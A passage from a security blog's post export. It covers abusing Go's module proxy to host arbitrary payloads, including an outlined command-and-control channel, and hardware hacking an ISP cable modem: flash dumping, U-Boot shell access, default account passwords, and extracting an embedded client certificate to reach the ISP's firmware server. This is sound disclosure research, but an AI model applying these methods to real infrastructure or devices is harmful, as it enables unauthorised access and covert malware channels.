fork of rust-headless-chrome, and there is nothing remarkable about the fork or the original except that they are both Rust repositories, and once again, no connection to Go.\nNow my curiosity is piqued and the evil mode kicks in. It feels like arbitrary data can be pushed to the checksum database without a connection to Go. Why is the data being pushed? And how is it being pushed? I go to bed thinking about this, which is the most dangerous moment for security research. As I try to fall asleep, I come up with tons of ideas, but I\u0026rsquo;m usually too tired or lazy to take notes, and so, quite frequently, I can\u0026rsquo;t remember them in the morning. But this one wasn\u0026rsquo;t forgotten!\nResearch A new day and a curious mind demands answers. Why, how and, what if are the most dangerous questions in this field. If a Git repository has nothing to do with Go code, how does it appear in the Go checksum database?\nFrom previous documentation readings, I knew that proxy.golang.org was the default modules proxy, and sum.golang.org for the checksum database. A couple of ripgrep searches in Go source code return nothing interesting, so it was time to read Go\u0026rsquo;s documentation, which is usually quite good.\nWhere to start? Go Modules Reference was a great candidate and I finally found the answer to my question:\nIf the go command consults the checksum database, then the first step is to retrieve the record data through the /lookup endpoint. If the module version is not yet recorded in the log, the checksum database will try to fetch it from the origin server before replying.\nOkay, this was easy! If the module doesn\u0026rsquo;t exist in the checksum database (and proxy), it will be downloaded by the checksum and proxy infrastructure. One of my questions was: how did the checksum database retrieve the modules since they can be anywhere? I couldn\u0026rsquo;t find anything in the Go code that was responsible for that (which wouldn\u0026rsquo;t explain at all how Ruby and Rust code ended up in the database).\nSo, the next logical step is easy. Can I get the Go checksum server to download arbitrary data?\nAccording to the documentation, the endpoint to try this is $base/lookup/$module@$version:\nReturns the log record number for the entry about $module at $version, followed by the data for the record (that is, the go.sum lines for $module at $version) and a signed, encoded tree description that contains the record.\nFirst, let\u0026rsquo;s test it with a known record to see if and how it works:\n$ curl https://sum.golang.org/lookup/github.com/homebrew/homebrew-core@v0.0.0-20240524162643-646fe2715a1c 26235981 github.com/homebrew/homebrew-core v0.0.0-20240524162643-646fe2715a1c h1:U32osaj3vZGypOtq7tsIHhZAYNOmiShiXJysIFGTqyM= github.com/homebrew/homebrew-core v0.0.0-20240524162643-646fe2715a1c/go.mod h1:TM9a6pxWZJZZWuMzxESXhb6yaBaH9JAKDM4wpIzJsDE= go.sum database tree 26238433 TQyXJYWJL6Z1OnKk5JXLAb9xfWrtHKjAUXKx5UQCa9Q= — sum.golang.org Az3grm+I35+HBcG+YvxlX+nzkXah3cWlBac/4EytsG24bEHFLrJNvyz5SphrKAHSS0EeDKJXpnb3cvdUtqVSiaNLVAY= Since the repository doesn\u0026rsquo;t seem to have any version tag the pseudo-version is used instead. Go documentation explains the logic behind pseudo-versions.\nThe next step is to verify wheter a new Go module repository will be added to the checksum database and proxy if we call the lookup endpoint, as described.\nAfter creating a simple new Go module and uploading to my GitHub account I have tried to issue the lookup command in two different forms, one not totally according to documentation, the other one also incorrect but trying to follow documentation. Both return errors, although different.\n$ curl https://sum.golang.org/lookup/github.com/gdbinit/fluxmatter@latest bad request: version \u0026#34;latest\u0026#34; is not canonical (wanted \u0026#34;\u0026#34;) $ curl https://sum.golang.org/lookup/github.com/gdbinit/fluxmatter@v0.0.0 not found: github.com/gdbinit/fluxmatter@v0.0.0: invalid version: unknown revision v0.0.0 The errors are kind of expected since I haven\u0026rsquo;t versioned the module and wasn\u0026rsquo;t using the correct pseudo-version. But we can verify if the new module was fetched as described by the documentation. The easiest way would be to generate the correct pseudo-version and make another query to the checksum database. If the module was indeed downloaded, then the entry would exist and returned as in the homebrew-core test.\nAnother way would be to resync my copy of the checksum database and query it for my module:\nsqlite\u0026gt; select * from modules where path = \u0026#39;github.com/gdbinit/fluxmatter\u0026#39;; github.com/gdbinit/fluxmatter|v0.0.0-20240524163826-a7e64ffd69f2|2024-05-24T16:40:51.203837Z Finally we can query the proxy and use the latest query to return the latest known version of a module. And then download the module zip and prove that we just stored our arbitrary data in the Go infrastructure.\n$ curl https://proxy.golang.org/github.com/gdbinit/fluxmatter/@latest {\u0026#34;Version\u0026#34;:\u0026#34;v0.0.0-20240524163826-a7e64ffd69f2\u0026#34;,\u0026#34;Time\u0026#34;:\u0026#34;2024-05-24T16:38:26Z\u0026#34;,\u0026#34;Origin\u0026#34;:{\u0026#34;VCS\u0026#34;:\u0026#34;git\u0026#34;,\u0026#34;URL\u0026#34;:\u0026#34;https://github.com/gdbinit/fluxmatter\u0026#34;,\u0026#34;Hash\u0026#34;:\u0026#34;a7e64ffd69f2d0751a52736e832a8d77a21059e7\u0026#34;}} $ curl -O https://proxy.golang.org/github.com/gdbinit/fluxmatter/@v/v0.0.0-20240524163826-a7e64ffd69f2.zip $ file v0.0.0-20240524163826-a7e64ffd69f2.zip v0.0.0-20240524163826-a7e64ffd69f2.zip: Zip archive data, at least v2.0 to extract $ unzip -t v0.0.0-20240524163826-a7e64ffd69f2.zip Archive: v0.0.0-20240524163826-a7e64ffd69f2.zip testing: github.com/gdbinit/fluxmatter@v0.0.0-20240524163826-a7e64ffd69f2/LICENSE OK testing: github.com/gdbinit/fluxmatter@v0.0.0-20240524163826-a7e64ffd69f2/fluxmatter.go OK testing: github.com/gdbinit/fluxmatter@v0.0.0-20240524163826-a7e64ffd69f2/go.mod OK No errors detected in compressed data of v0.0.0-20240524163826-a7e64ffd69f2.zip. And voilà, everything works! There\u0026rsquo;s no need to specify a version in the lookup (at least for the initial seeding); just a lookup query that contains the module path and something like a version.\nNext I tried to do the same with a repository that has no Go code whatsoever, to prove that everything works the same way.\n$ curl https://sum.golang.org/lookup/github.com/gdbinit/readmem@v0.0.0 not found: github.com/gdbinit/readmem@v0.0.0: invalid version: unknown revision v0.0.0 sqlite\u0026gt; select * from modules where path = \u0026#39;github.com/gdbinit/readmem\u0026#39;; github.com/gdbinit/readmem|v0.0.0-20131006075740-407cb0a56933|2024-05-24T16:45:35.88456Z $ curl https://proxy.golang.org/github.com/gdbinit/readmem/@latest {\u0026#34;Version\u0026#34;:\u0026#34;v0.0.0-20131006075740-407cb0a56933\u0026#34;,\u0026#34;Time\u0026#34;:\u0026#34;2013-10-06T07:57:40Z\u0026#34;,\u0026#34;Origin\u0026#34;:{\u0026#34;VCS\u0026#34;:\u0026#34;git\u0026#34;,\u0026#34;URL\u0026#34;:\u0026#34;https://github.com/gdbinit/readmem\u0026#34;,\u0026#34;Hash\u0026#34;:\u0026#34;407cb0a569336f98f3772582a31c17aa080caf66\u0026#34;}} $ curl -O https://proxy.golang.org/github.com/gdbinit/readmem/@v/v0.0.0-20131006075740-407cb0a56933.zip $ file v0.0.0-20131006075740-407cb0a56933.zip v0.0.0-20131006075740-407cb0a56933.zip: Zip archive data, at least v2.0 to extract $ unzip -t v0.0.0-20131006075740-407cb0a56933.zip Archive: v0.0.0-20131006075740-407cb0a56933.zip testing: github.com/gdbinit/readmem@v0.0.0-20131006075740-407cb0a56933/Entitlements.plist OK testing: github.com/gdbinit/readmem@v0.0.0-20131006075740-407cb0a56933/README OK testing: github.com/gdbinit/readmem@v0.0.0-20131006075740-407cb0a56933/readmem.xcodeproj/project.pbxproj OK testing: github.com/gdbinit/readmem@v0.0.0-20131006075740-407cb0a56933/readmem/main.c OK No errors detected in compressed data of v0.0.0-20131006075740-407cb0a56933.zip. This demonstrates that it\u0026rsquo;s possible to load into Go public proxy arbitrary data. The experiment was done using GitHub but it should work with other hosting sites.\nOne curious statistic is the amount of Go modules stored at GitHub:\nsqlite\u0026gt; select count(distinct path) from modules; 1591375 sqlite\u0026gt; select count(distinct path) from modules where path like \u0026#39;github.com%\u0026#39;; 1515957 Around 95% of the unique paths present in sum.golang.org are hosted at GitHub. This is a raw statistic, without removing bogus data such as forks and targets that aren\u0026rsquo;t really Go code. But it still shows the magnitude of GitHub dependency in the Go ecosystem.\nGo authors don\u0026rsquo;t seem to be completely unaware of this kind of scenario and implemented some restrictions, which are described in File path and size constraints section. The most relevant one is:\nA module zip file may be at most 500 MiB in size. The total uncompressed size of its files is also limited to 500 MiB. go.mod files are limited to 16 MiB. LICENSE files are also limited to 16 MiB. These limits exist to mitigate denial of service attacks on users, proxies, and other parts of the module ecosystem. Repositories that contain more than 500 MiB of files in a module directory tree should tag module versions at commits that only include files needed to build the module’s packages; videos, models, and other large assets are usually not needed for builds.\n500MiB is more than enough for considerable abuse and all the others aren\u0026rsquo;t really a problem.\nAbuse what? For example, it can be used to bypass destination download restrictions on developer machines and in CI/CD servers (assuming that there isn\u0026rsquo;t a private GOPROXY). Malware can simply store payloads and retrieve them from the proxy when needed. And because we don\u0026rsquo;t have restrictions regarding the source domain (as long it\u0026rsquo;s a working VCS), we can load up the payloads from anywhere and make those sources disappear, leaving only a small trace in the checksum database entry.\nA Denial of Service (DoS) attack on proxy.golang.org might be challenging to execute. I have shown that we can request any random Git repository (and probably any of the other supported VCS) to be downloaded by the proxy. For a possible attack, we would need to first gather as many GitHub URLs as possible and then issue as many requests as possible to the lookup API. I have no idea about the server implementation, but I would assume that something similar to a work queue is implemented, so there is a limit to the amount of parallel requests that will be processed. Bandwidth protections could also possibly be triggered from GitHub\u0026rsquo;s side. There is also a possibility of DoS-ing the storage space. I\u0026rsquo;m just guessing here :-).\nA command and control (C2) can also be easily implemented on top of this. It\u0026rsquo;s very easy to find the latest version of any module using the latest query, so there isn\u0026rsquo;t need to query the checksum database and find all the available versions of our payload. The payload can be a simple file or can be disguised inside the go.mod or any other Go source file for extra stealthiness. A module DGA (Domain Generation Algorithm) can be used to avoid using a single repository for the C2. My original goal was to write a sample C2 to demonstrate this, but there isn\u0026rsquo;t really much to be done here.\nTo download commands from the C2, the implant just needs the following steps:\nMake a request to https://proxy.golang.org/module_path/@latest.\nParse the JSON result and extract the pseudo-version (or version if used).\nMake another request to https://proxy.golang.org/module_path/@v/version.zip to download the zip file.\nExtract the zip contents and parse the commands.\nQuite easy in some 300 or less lines of Go code.\nConclusions My questions have been answered, and now I understand how the checksum database process works. So far, it\u0026rsquo;s not a severe issue in Go infrastructure. It\u0026rsquo;s something that can be easily abused but also improved. Maybe there are (documented or not) reasons to let non-Go code be uploaded to the proxy and checksum database. Or maybe there is already someone abusing this, and we can go on a treasure hunt through the almost 1.6 million unique repositories (my up-to-date database copy contains almost 22 million entries).\nI still have questions why certain valid non-Go projects are in the database. Are they doing it on purpose? Why? Using Go\u0026rsquo;s transparent log as safety backup? Any hints about this?\nI had fun with this, and I have a bunch of ideas to further explore. I have a feeling\u0026hellip; ;-).\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2024/05/24/abusing-go-infrastructure/","summary":"I apologize if this information is already known, but I couldn\u0026rsquo;t find any references about it and I wanted to understand what was going on and share with you because I think there is some value doing it.\nIn case this wasn\u0026rsquo;t known, I apologize to the Go team for not talking to them first and jumping the full disclosure gun (I don\u0026rsquo;t think it\u0026rsquo;s that severe). I really like Go!","title":"Abusing Go's infrastructure"},{"content":"Note: the original post was written in 2017 when there weren\u0026rsquo;t many posts discussing direct attacks to firmware flash. It also took a while to get in touch with the ISP to give them a chance to fix some of the issues described (in particular the ACS access) and then it was left in draft mode until today. I just made a quick revision and fixed quite a few dead links.\nI also made two presentations about this topic at the 0xOPOSEC meetup in Porto in 2019, further advancing the initial research presented in this post (how to attach a debugger, reverse engineering the passwords algorithm, etc).\nYou can grab them here:\nPart 1: OpoSec Set 2019 - Hacking Your Cable Modem Part 2: OpoSec Out 2019 - Reverse Engineering Your Cable Modem For quite some time I wondered what kind of backdoors could be found on my ISP\u0026rsquo;s cable modem. There are way too many security reports and blog posts about backdoors and security issues in all kind of network equipment so probabilities are that this one would not be an exception.\nThe current models (in 2017 but newer ones are even shittier ;-)) in use by my ISP had public reports about certain remote access issues with a default password. These issues allegedly have been fixed by restricting ISP remote access to certain IP addresses. This doesn\u0026rsquo;t make it very assuring so it was time to finally take a look.\nA quick browsing in second hand sites and I found out a sweet deal on a similar cable modem (we don\u0026rsquo;t want to potentially destroy the modem that connects us to the Internet). My current Portuguese ISP is NOS, previously known as ZON before a merger with Optimus. My active modem is ZON branded while the one I bought is NOS branded. Their shellcase is very similar but the hardware versions are different. One is a BVW-3653 and the other a CVE-30360, both manufactured by Hitron Technologies.\nThe operating system and core software are provided by Jungo/OpenRG (bought by Cisco and now Cisco RG). Security issues related to web management and other features (Samba server for example) can be found online.\nIn this post I am mostly interested in directly attacking the hardware instead of finding vulnerabilities in the web management such as typical arbitrary command execution and shell access.\nBoth modems have two default accounts, home and home_admin. The home account (password is zonnet) is given to the user, while home_admin (password is zonnetadmin) isn\u0026rsquo;t announced but can be found online. There is at least an admin account which on the new router also had admin default password, but on my active modem the current password is unknown. Allegedly there are also other accounts used for remote management (and they do exist on working modems). All these \u0026ldquo;extra\u0026rdquo; accounts are hidden from the regular users described above.\nBesides the default web administrative console running on port 80 (by default only active on the LAN interfaces) there is another administrative port running on 7654. This port is remotely accessible on the external interface and has a default acs account username, and password equal to username. Currently we can connect to this port with default username/password but we only get a 405 Method Not Allowed result. Allegedly the access is restricted to a certain range of ISP addresses.\nThe assumption is that this is a remote management feature provided by Jungo/OpenRG. There were many rumours regarding ISP remote access on this port reported by people contacting tech support. In theory this makes some sense since ISPs have large user bases, and most are technically illiterate making support a nightmare unless there is remote access. But the theoretical advantage also creates unnecessary security risks. At least the users should be given an option about enabling or not this kind of service, which does not exist. A single vulnerability in this remote management feature and thousands of modems can be transformed into a broadband botnet. Not exactly something novel (Mirai, etc).\nEnough introduction, let\u0026rsquo;s dive into hardware hacking.\nThe following pictures show the top and bottom layers of the CVE-30360 board. In this model the WiFi antennas are included in the board (top left and right), while in the BVW model they are \u0026ldquo;external\u0026rdquo;. Both models feature four LAN ports and two VOIP phone ports (ZON/NOS offers a so called triple play service - TV, Internet and phone). The two USB ports can be used for file and print sharing.\nEmbedded devices hacking usually starts by locating the serial and/or JTAG ports. In both modems the serial port is easy to locate because both have a four pin header. This is definitely the first thing we should try to poke around.\nSerial console access requires a minimum of three pins - ground, transmit (TX) and receive (RX). These two posts (here and here) describe techniques to find out what each pin does. Essentially you just need a multimeter and a couple of reboots (a logic analyser is a plus but not really necessary most of the time). Modern computers don\u0026rsquo;t have a serial port so we need a serial to USB adapter. There are many devices on the market, from super cheap to moderately expensive. I have a Shikra, a cheap Miracle TTL I bought at SyScan360 Beijing, a Teensy, and a few others. Anything based on FT232 is usually a safe bet for this task (even all the fakes and clones unless they were firmware bricked.\nA couple of months ago I had already poked around and established serial connection to my active modem. But the only output I got out of the serial console was just a uncompressing Linux kernel message and then silence. The same issue happens in this new model. This means that the serial connection is well established but the system is not sending any output to the serial. We shall see why in a bit.\nThe pin layout for the CVE model is the following:\nAnd for the BVW:\nThe serial console at this point is not a good attack vector nor produces useful intelligence about the boot process. Usually we would move towards the JTAG port (assuming it exists and easy to find). But I don\u0026rsquo;t have any JTAG equipment other than the Shikra and I never played with JTAG before. What\u0026rsquo;s left in terms of hardware that we can easily target with minimum effort?\nEmbedded devices usually don\u0026rsquo;t have hard disks or some other regular storage device so the operating system and software is stored in some kind of flash storage. This is territory that I know rather well from past (U)EFI experiments. A quick look around the board and I easily find a potential candidate SPI flash chip, a 16 pin version (the flash chips used by Macs are all 8 pin versions as far as I have seen). In this case the chip is from Spansion with model number FL128SA1F00, which Google and correspondent datasheet identify as a 16 Mbyte SPI serial flash memory. On the bottom side of the board we find another similar chip, meaning that this model has 32 Mbytes of flash storage. The BVW model uses a single 16Mbyte S25FL128P.\nIt is always a good procedure to download and read the chip datasheet because while there are compatible commands between different brands there are other commands and flash layouts that you want to know about to adapt your flashing software (assuming you are not using flashrom).\nThe next step is to open the datasheet to find the pins layout and connect our SPI serial flasher. As described on my EFI slides I use a Teensy 2.0 for this task. There are many other devices on the market that can be used (hardware compatible with flashrom for example). Twenty minutes later and I have a full dump of both flash chips. I recommend you to always do a second dump of the chip and checksum both dump files to see if they match. Sometimes the test probes or chip clip aren\u0026rsquo;t well connected and you get corrupted dumps (the probability of two exact bad dumps should be extremely low). If two consecutive dumps are different then you have problems - usually cables, probes, or board being powered on and corrupting the dump (usually this means you need to unsolder the chip).\nNow we can finally have a look at the flash contents. Something I usually like to do is to load the binary into an hex editor and quickly browse around to see if anything suspicious or useful is visible right away. A couple of bytes from the beginning we find out some interesting strings that appear to be U-Boot parameters, a common bootloader found on embedded devices. One string catches my attention, \u0026ldquo;silent=1\u0026rdquo;. A quick Google search and we find the description of this parameter:\n\u0026ldquo;silent: If the configuration option CONFIG_SILENT_CONSOLE has been enabled for your board, setting this variable to any value will suppress all console messages. Please see doc/README.silent for details.\u0026rdquo;\nThis explains why there is no (meaningful) serial console output. The manufacturer opted for suppressing them in U-Boot configuration. This is something we definitely want to change.\nThe next step is to try to understand what\u0026rsquo;s inside the firmware dump. The most used tool for this job is Binwalk. There is a new alternative unblob but didn\u0026rsquo;t work great the few times I tried with newer projects. For this I used a Debian virtual machine since it seems to be the best supported operating system for Binwalk. Virtual machines are \u0026ldquo;cheap\u0026rdquo; so it\u0026rsquo;s useless to waste time trying to get everything work in macOS (usually it never works first attempt). Running binwalk against both firmware images we have the following output:\nbinwalk $ binwalk 00-Router2-09-05-2016-up.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 88732 0x15A9C U-Boot version string, \u0026#34;U-Boot 1.2.0 (Mar 7 2013 - 20:07:42)\u0026#34; 132433 0x20551 U-Boot version string, \u0026#34;U-Boot 1.2.0 (Mar 7 2013 - 20:07:42)\u0026#34; 197969 0x30551 U-Boot version string, \u0026#34;U-Boot 1.2.0 (Mar 7 2013 - 20:07:42)\u0026#34; 262144 0x40000 uImage header, header size: 64 bytes, header CRC: 0x372BB75E, created: 2013-09-02 00:34:47, image size: 8363208 bytes, Data Address: 0x80018000, Entry Point: 0x80018000, data CRC: 0xAE6A2F4C, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: \u0026#34;OpenRG\u0026#34; 275456 0x43400 gzip compressed data, maximum compression, from Unix, last modified: 2013-09-02 00:34:46 16449688 0xFB0098 Zlib compressed data, default compression $ binwalk 00-Router2-09-05-2016-down.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 uImage header, header size: 64 bytes, header CRC: 0x372BB75E, created: 2013-09-02 00:34:47, image size: 8363208 bytes, Data Address: 0x80018000, Entry Point: 0x80018000, data CRC: 0xAE6A2F4C, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: \u0026#34;OpenRG\u0026#34; 13312 0x3400 gzip compressed data, maximum compression, from Unix, last modified: 2013-09-02 00:34:46 16187544 0xF70098 Zlib compressed data, default compression 16318616 0xF90098 Zlib compressed data, default compression 16449536 0xFB0000 JFFS2 filesystem, big endian 16515152 0xFC0050 Zlib compressed data, compressed 16515252 0xFC00B4 JFFS2 filesystem, big endian 16543208 0xFC6DE8 Zlib compressed data, compressed 16543328 0xFC6E60 Zlib compressed data, compressed 16543808 0xFC7040 Zlib compressed data, compressed 16544164 0xFC71A4 Zlib compressed data, compressed 16544272 0xFC7210 Zlib compressed data, compressed 16544444 0xFC72BC Zlib compressed data, compressed 16544812 0xFC742C Zlib compressed data, compressed 16545072 0xFC7530 Zlib compressed data, compressed 16545552 0xFC7710 Zlib compressed data, compressed (...) 16735048 0xFF5B48 JFFS2 filesystem, big endian 16735744 0xFF5E00 Zlib compressed data, compressed 16736156 0xFF5F9C JFFS2 filesystem, big endian 16738228 0xFF67B4 Zlib compressed data, compressed 16738280 0xFF67E8 JFFS2 filesystem, big endian Binwalk is able to identify U-Boot data and two Linux kernels, one on each flash image (one is the main kernel, the other just a backup), and a lot of compressed data. The next step is to try to extract all this data with binwalk -Me.\nBut before extracting the data and see what\u0026rsquo;s inside I wanted to see if I could modify the serial console output. Since we have direct access to the flash contents I just modified the silent=1 option to silent=0 and reflashed. Ten minutes later and we are ready for the moment of truth - will the modem boot the reflashed version or brick? As long we have a good original dump we can always restore it in case of bricking (assuming reflashing works). That is why it\u0026rsquo;s important to make sure that the first dump is valid. This worked ok and now there is a verbose serial console.\nU-Boot 1.2.0 (Mar 7 2013 - 20:07:42) PSPU-Boot(BBU) 1.0.16.22 DRAM: 128 MB Flash Spansion S25FL128S(16 MB) found on CS0. Flash Spansion S25FL128S(16 MB) found on CS1. Flash: 32 MB In: serial Out: serial Err: serial Press SPACE to abort autoboot in 3 second(s) Image sections found: 2. section: type:2; magic 0xfeedbabe; counter 0x9; addr 0x48040000 5. section: type:2; magic 0xfeedbabe; counter 0x6; addr 0x4c000000 Looking for active section/image: checking section 2... ok: \u0026#39;Image downloaded from: https://jrms.zon.pt:550/firmwares/openrg.cve30360.v2.4_11_3_7_62_3_52.rms?u=KFpPTiBIVUIgZGF0YQogICh3Ym0K\u0026#39; 0x7f9d08@0x48040000 count:0x9 ## Booting image at 48040000 ... Image Name: OpenRG Image Type: ARM Linux Kernel Image (uncompressed) Data Size: 8363208 Bytes = 8 MB Load Address: 80018000 Entry Point: 80018000 OK Starting kernel ... Uncompressing Linux........................................................................................................................................................................................................................................................................................................... done, booting the kernel. Linux version 2.6.16.26 #1 Mon Sep 2 03:34:44 IDT 2013 CPU: ARMv6-compatible processor [410fb764] revision 4 (ARMv6TEJ) Machine: puma5 Ignoring unrecognised tag 0x00000000 Memory policy: ECC disabled, Data cache writethrough Reserved 2048k DSP memory starting from Physical 0x87e00000 Reserved 1024k KLOG memory starting from Physical 0x87d00000 CPU0: D VIPT write-back cache CPU0: I cache: 32768 bytes, associativity 4, 32 byte lines, 256 sets CPU0: D cache: 16384 bytes, associativity 4, 32 byte lines, 128 sets Built 1 zonelists Kernel command line: console=ttyS0,115200n8 root=/dev/ram0 rw boardtype=tnetc552 Interrupt controller revision : 4e822100 PID hash table entries: 512 (order: 9, 8192 bytes) Power \u0026amp; Sleep Controller @ 0xd8621000 Initialized [id-0x44822905] USB PHY POR Bypass enabled Board type: tnetc552 Initialized Peripheral Port Remap Register to base : 0x50000000 HT ZON 8x4 usb pull hight 3 gpio Puma5 Timer0 initialized Dentry cache hash table entries: 16384 (order: 4, 65536 bytes) Inode-cache hash table entries: 8192 (order: 3, 32768 bytes) Memory: 125MB = 125MB total Memory: 116864KB available (2136K code, 7651K data, 100K init) Mount-cache hash table entries: 512 (...) Entering the U-Boot console gives us access to some interesting commands:\nU-Boot 1.2.0 (Mar 7 2013 - 20:07:42) PSPU-Boot(BBU) 1.0.16.22 DRAM: 128 MB Flash Spansion S25FL128S(16 MB) found on CS0. Flash Spansion S25FL128S(16 MB) found on CS1. Flash: 32 MB In: serial Out: serial Err: serial Press SPACE to abort autoboot in 3 second(s) \u0026gt; ? ? - alias for \u0026#39;help\u0026#39; autoscr - run script from memory base - print or set address offset bdinfo - print Board Info structure boot - boot default, i.e., run \u0026#39;bootcmd\u0026#39; bootd - boot default, i.e., run \u0026#39;bootcmd\u0026#39; bootm - boot application image from memory bootp.- boot image via network using BootP/TFTP protocol cmp - memory compare coninfo - print console devices and information cp - memory copy crc32 - checksum calculation dualimage - sets openrg_start according to the current active image. echo - echo args to console erase - erase FLASH memory eval.- return addition/subraction exit - exit script flinfo - print FLASH memory information go - start application at address \u0026#39;addr\u0026#39; gpio.- GPIO/AUX GPIO operation help - print online help iminfo - print header information for application image imls - list all images found in flash itest.- return true/false on integer compare loadb - load binary file over serial line (kermit mode) loads - load S-Record file over serial line loady - load binary file over serial line (ymodem mode) loop - infinite loop on address range md - memory display mm - memory modify (auto-incrementing) mtest - simple RAM test mw - memory write (fill) nm - memory modify (constant address) printenv- print environment variables protect - enable or disable FLASH write protection rarpboot- boot image via network using RARP/TFTP protocol reset - Perform RESET of the CPU run - run commands in an environment variable saveenv - save environment variables to persistent storage setenv - set environment variables sleep - delay execution for some time switch_init - swtich initialization test - minimal test like /bin/sh tftpboot- boot image via network using TFTP protocol version - print monitor version \u0026gt; For example, we can modify the Linux boot arguments and change init to /bin/sh, gaining direct access to the router filesystem. If you try this you will see the filesystem layout and binaries. I didn\u0026rsquo;t manage to extract them because the network interface wasn\u0026rsquo;t yet initialized and I didn\u0026rsquo;t waste much time with this attack path.\nAt this point I have serial output, boot loader console and have a shell in the system via init. Extracting the system binaries for further exploration and reverse engineering is the next step.\nWe get back to Binwalk and try to extract whatever is possible. The two most common filesystems found in embedded world are cramfs and squashfs. Squashfs is more common these days, and cramfs mostly found on older systems. From the boot logs we can see that this is rather old software since both U-Boot and Linux kernel are from 2013. One can see how the embedded and IoT devices are broken by design, they will most of the time (or forever) lag in terms of updates, meaning that their security by design is very much questionable (and this excluding the ton of crap and insecure code shipped on all these devices).\nAnother good toolkit to analyse firmware images is the Firmware-mod-kit project. It has a series of utilities that are able to open and extract the filesystem images. In theory Binwalk will have the same capabilities if you install those utilities. Since Binwalk failed to extract the cramfs filesystems, I tried to use the utilities directly. One of those utilities is cramfs-2.x.\ncramfsck $ cramfsck ~/_00-Router2-09-05-2016-up.bin.extracted/_43400.extracted/24A000.cramfs cramfsck: unsupported filesystem features Houston we have a problem! Somehow this is recognized as a cramfs filesystem but we are unable to play with it. I decided to give a look at its content and there was something different in the flags fields of cramfs header. It seems that Jungo customized cramfs. Google to the rescue and we find information that validates this assumption - Jungo has indeed modified cramfs to support LZMA compression. Valerio Di Giampietro modified the uncramfs utility to support LZMA. You can find his lzma-uncramfs here. Firmware-mod-kit does include this utility but I didn\u0026rsquo;t noticed it since I had no idea about the reason for the unsupported filesystem error.\nlzma-uncramfs $ ~/lzma-uncramfs/lzma-uncramfs unpacked_24A000 24A000.cramfs [Volume size: 0x6f0000] [Volume serial: 28c5d12100000000fb0200004a020000] [Volume name: Compressed] do file entry drwxrwxrwx 0/0 64(64) / do dir entry /: drwxrwxrwx 0/0 1616(1616) bin drwxrwxrwx 0/0 604(604) etc drwxrwxrwx 0/0 20(20) home drwxrwxrwx 0/0 4080(4080) lib (...) [Summary:] [Total uncompressed size: 18043168] [Total compressed size: 6861583] [Number of entries: 586] [Number of files compressed: 286] [Number of files expanded: 300] Magic happens and we finally have the binaries. The second cramfs image contains only the kernel modules.\nThere was some discussion online about how the openrg binary is in practice the core binary of this system - init is just a bootstrap to this binary. In some way this binary is like launchd in macOS - responsible for managing daemons and everything else.\nPoking around the strings is always a good place to start reversing a binary, and we can find the default configuration file embedded in the binary:\nAnd as usual the default accounts and passwords. The hashes appear to be salted MD5 or a modified MD5 algorithm. I spent a few minutes trying to find the password verification/update functions but couldn\u0026rsquo;t reach any conclusion. More time is required on this.\nOne interesting thing that we can see in the boot log is an address for a firmware image, https://jrms.zon.pt:550/firmwares/openrg.cve30360.v2.4_11_3_7_62_3_52.rms. Access to this website requires a client certificate. Assuming that this will also be the same website used by the software to check for available updates then the certificate must be somewhere in the filesystem. Certificates in the filesystem are also a common thing to be found in embedded world. In this case we can find them inside the default configuration file: the client certificate, correspondent private key, and all the necessary CA and Root CA certificates.\nCopy and paste the data into an hex editor and we get the PEM versions for all the certificates. The client certificate can be directly imported into macOS Keychain but the private key needs to be converted first.\nopenssl $ openssl pkcs12 -export -nocerts -inkey ZonHUB_priv.pem -out ZonHub_priv.p12 This will generate a PKCS12 file that macOS Keychain can understand and import. After we sucessfully import the certificate and private key (you probably want to flag the certificate as trusted to avoid importing the Jungo CA and Root CA), we can try to connect to the https://jrms.zon.pt:550 website. Finally we can download the firmware image found in the logs. Using curl to download the firmware image:\ncurl $ curl --insecure --cert-type pem --cert Certificates.p12:123 https://jrms.zon.pt:550/firmwares/openrg.bvw3653_v2.4_11_3_7_86.rms In this case the PKCS12 password is 123.\nOne thing that we can easily do is bruteforce the firmware images website, looking for older versions so we can diff changes between updates. Just build some script that iterates over the version numbers and we might get lucky retrieving older firmware files.\nSince my sample set is two modems I am unable to make a conclusion regarding the certificate. Is it a shared certificate or unique per modem? The certificates I have are different but also their originator Jungo CA (something like a day difference on the CA certificate). Additional samples are required to be able to answer this question. A shared certificate means a single point of failure because the ISP needs to push an update before revoking the certificate (otherwise the whole customer base is unable to update). If the certificate isn\u0026rsquo;t revoked we will be able to always connect to the firmware service, which also seems to host the remote management services (ACS), a much juicier target.\nThe next problem is that I can\u0026rsquo;t insert a username/password combo at the serial console prompt. I tested with different serial to USB adapters and terminal settings and the problem persists so I didn\u0026rsquo;t waste too much time on it. My original goal was to find the hidden accounts and their default passwords, since they would enable the ISP remote access (assuming that there are not other backdoors, a too common scenario). But given the unknown salt and unable to login via serial console, I set my eyes on the configuration file. If we can modify it, we can enable telnet access and even set higher privileges in the (default) accounts we already have access to.\nThe goal now is to modify the active configuration to enable telnet access and configure the users into higher privileged group, which is in this case the super group. The existing groups are, home, power, admin, super, readonly, remote, remote2.\nThe active configuration must be stored somewhere in the flash chip. The file systems appear to be read-only so there must be some kind of NVRAM partition where data can be written to, as it happens in (U)EFI world. While Binwalk failed to extract a lot of data it also managed to unpack a lot of gzip\u0026rsquo;ed data. These files are a good target to grep for configuration file strings.\ngrep $ grep rg_conf * Binary file 3400 matches grep: _3400.extracted: Is a directory F70098: (rg_conf F70098: (rg_conf_private Binary file F70098.zlib matches F90098: (rg_conf F90098: (rg_conf_private Two of the extracted files from the bottom firmware image appear to have configuration content. One easy way to verify if one of these is the active configuration file is to boot the modem, change something in the configuration (admin information for example), save, and dump again the firmware.\nDoing this will reveal that the configuration file at offset 0xF70098 on the bottom flash chip is indeed the active configuration file. Now we have a target that we want to modify.\nWhat we need to do is to modify the group home_admin user belongs to, compress again the file (zpipe.c from zlib.net is perfect for this task), replace original active configuration with ours at offset 0xF70098, and reflash the new firmware image. If it works, the home_admin user will have higher privileges and able to see some hidden menus.\nThis plan didn\u0026rsquo;t work and the modem reverted to a default configuration. This means that we made a mistake somewhere and triggered some kind of auto-recovery mode that restores the modem to a known good configuration - the default we saw stored in the openrg binary.\nLoading once again the firmware dump into an hex-editor and going to the offset where the configuration file is located we can spot something interesting.\nThere appears to be a magic constant 0xFEEDBABE just 